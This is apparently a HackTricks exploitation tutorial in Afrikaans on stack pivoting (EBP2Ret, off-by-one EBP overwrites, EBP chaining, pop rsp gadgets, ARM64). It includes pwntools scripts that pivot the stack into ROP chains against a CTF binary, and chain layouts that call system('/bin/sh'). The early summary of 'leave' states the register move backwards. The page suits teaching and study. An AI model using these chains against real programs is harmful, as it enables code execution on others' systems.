Stap Pivotering - EBP2Ret - EBP ketting
Reading time: 9 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Hierdie tegniek benut die vermoë om die Basis Wyser (EBP) te manipuleer om die uitvoering van verskeie funksies te ketting deur versigtige gebruik van die EBP-register en die leave; ret
instruksiesequens.
Ter herinnering, leave
beteken basies:
mov ebp, esp
pop ebp
ret
En aangesien die EBP in die stapel is voor die EIP, is dit moontlik om dit te beheer deur die stapel te beheer.
EBP2Ret
Hierdie tegniek is veral nuttig wanneer jy die EBP-register kan verander, maar geen direkte manier het om die EIP-register te verander nie. Dit benut die gedrag van funksies wanneer hulle klaar is met uitvoer.
As jy, tydens die uitvoering van fvuln
, daarin slaag om 'n valse EBP in die stapel in te spuit wat na 'n area in geheue wys waar jou shellcode se adres geleë is (plus 4 bytes om rekening te hou met die pop
operasie), kan jy indirek die EIP beheer. Wanneer fvuln
terugkeer, word die ESP op hierdie vervaardigde ligging gestel, en die daaropvolgende pop
operasie verminder ESP met 4, wat dit effektief laat wys na 'n adres wat deur die aanvaller daar gestoor is.
Let op hoe jy 2 adresse moet weet: Die een waarheen ESP gaan, waar jy die adres moet skryf wat deur ESP aangedui word.
Exploit Konstruksie
Eerstens moet jy 'n adres weet waar jy arbitrêre data / adresse kan skryf. Die ESP sal hierheen wys en die eerste ret
uitvoer.
Dan moet jy die adres weet wat deur ret
gebruik word wat arbitrêre kode sal uitvoer. Jy kan gebruik:
- 'n Geldige ONE_GADGET adres.
- Die adres van
system()
gevolg deur 4 rommelbytes en die adres van"/bin/sh"
(x86 bits). - Die adres van 'n
jump esp;
gadget (ret2esp) gevolg deur die shellcode om uit te voer. - Sommige ROP ketting
Onthou dat daar voor enige van hierdie adresse in die beheerde deel van die geheue, 4
bytes moet wees as gevolg van die pop
deel van die leave
instruksie. Dit sal moontlik wees om hierdie 4B te misbruik om 'n tweede valse EBP in te stel en voort te gaan om die uitvoering te beheer.
Off-By-One Exploit
Daar is 'n spesifieke variant van hierdie tegniek bekend as 'n "Off-By-One Exploit". Dit word gebruik wanneer jy slegs die minste betekenisvolle byte van die EBP kan verander. In so 'n geval moet die geheue ligging wat die adres stoor om na te spring met die ret
die eerste drie bytes met die EBP deel, wat 'n soortgelyke manipulasie met meer beperkte toestande moontlik maak.
Gewoonlik word die byte 0x00 verander om so ver as moontlik te spring.
Dit is ook algemeen om 'n RET-sled in die stapel te gebruik en die werklike ROP-ketting aan die einde te plaas om dit meer waarskynlik te maak dat die nuwe ESP binne die RET SLED wys en die finale ROP-ketting uitgevoer word.
EBP Ketting
Daarom, deur 'n beheerde adres in die EBP
invoer van die stapel te plaas en 'n adres na leave; ret
in EIP
, is dit moontlik om die ESP
na die beheerde EBP
adres van die stapel te beweeg.
Nou is die ESP
beheerd wat na 'n gewenste adres wys en die volgende instruksie om uit te voer is 'n RET
. Om dit te misbruik, is dit moontlik om in die beheerde ESP plek dit te plaas:
&(next fake EBP)
-> Laai die nuwe EBP as gevolg vanpop ebp
van dieleave
instruksiesystem()
-> Geroep deurret
&(leave;ret)
-> Geroep nadat die stelsel eindig, dit sal ESP na die valse EBP beweeg en weer begin&("/bin/sh")
-> Param virsystem
Basies is dit op hierdie manier moontlik om verskeie valse EBPs te ketting om die vloei van die program te beheer.
Dit is soos 'n ret2lib, maar meer kompleks sonder enige ooglopende voordeel, maar kan interessant wees in sommige randgevalle.
Boonop het jy hier 'n voorbeeld van 'n uitdaging wat hierdie tegniek gebruik met 'n stapellek om 'n wenfunksie te bel. Dit is die finale payload van die bladsy:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP mag dalk nie gebruik word nie
Soos in hierdie pos verduidelik, as 'n binêre met sekere optimaliseringe gecompileer word, kry EBP nooit beheer oor ESP nie, daarom sal enige ontploffing wat werk deur EBP te beheer basies misluk omdat dit geen werklike effek het nie.
Dit is omdat die proloog en epiloog verander as die binêre geoptimaliseer is.
- Nie geoptimaliseer:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Geoptimaliseer:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Ander maniere om RSP te beheer
pop rsp
gadget
Op hierdie bladsy kan jy 'n voorbeeld vind wat hierdie tegniek gebruik. Vir hierdie uitdaging was dit nodig om 'n funksie met 2 spesifieke argumente aan te roep, en daar was 'n pop rsp
gadget en daar is 'n leak van die stapel:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Kyk die ret2esp tegniek hier:
Verwysings & Ander Voorbeelde
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation met 'n rop ketting wat begin met 'n ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, geen relro, canary, nx en pie. Die program bied 'n leak vir stack of pie en 'n WWW van 'n qword. Kry eers die stack leak en gebruik die WWW om terug te gaan en die pie leak te kry. Gebruik dan die WWW om 'n ewige lus te skep wat
.fini_array
inskrywings misbruik +__libc_csu_fini
aanroep (meer inligting hier). Deur hierdie "ewige" skrywe te misbruik, word 'n ROP ketting in die .bss geskryf en eindig op om dit te bel met RBP.
ARM64
In ARM64, die proloog en epiloge van die funksies stoor en herwin nie die SP register in die stack nie. Boonop, die RET
instruksie keer nie terug na die adres wat deur SP aangedui word nie, maar na die adres binne x30
.
Daarom, standaard, deur net die epiloog te misbruik, sal jy nie in staat wees om die SP register te beheer deur sommige data binne die stack te oorskryf nie. En selfs as jy daarin slaag om die SP te beheer, sal jy steeds 'n manier nodig hê om die x30
register te beheer.
- proloog
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP wys na raamrekord
- epiloge
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Die manier om iets soortgelyks aan stack pivoting in ARM64 uit te voer, sou wees om in staat te wees om die SP
te beheer (deur 'n register te beheer waarvan die waarde aan SP
oorgedra word of omdat om een of ander rede SP
sy adres van die stack neem en ons 'n oorskrywing het) en dan die epiloog te misbruik om die x30
register van 'n beheerde SP
te laai en RET
daarna toe.
Ook op die volgende bladsy kan jy die ekwivalent van Ret2esp in ARM64 sien:
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.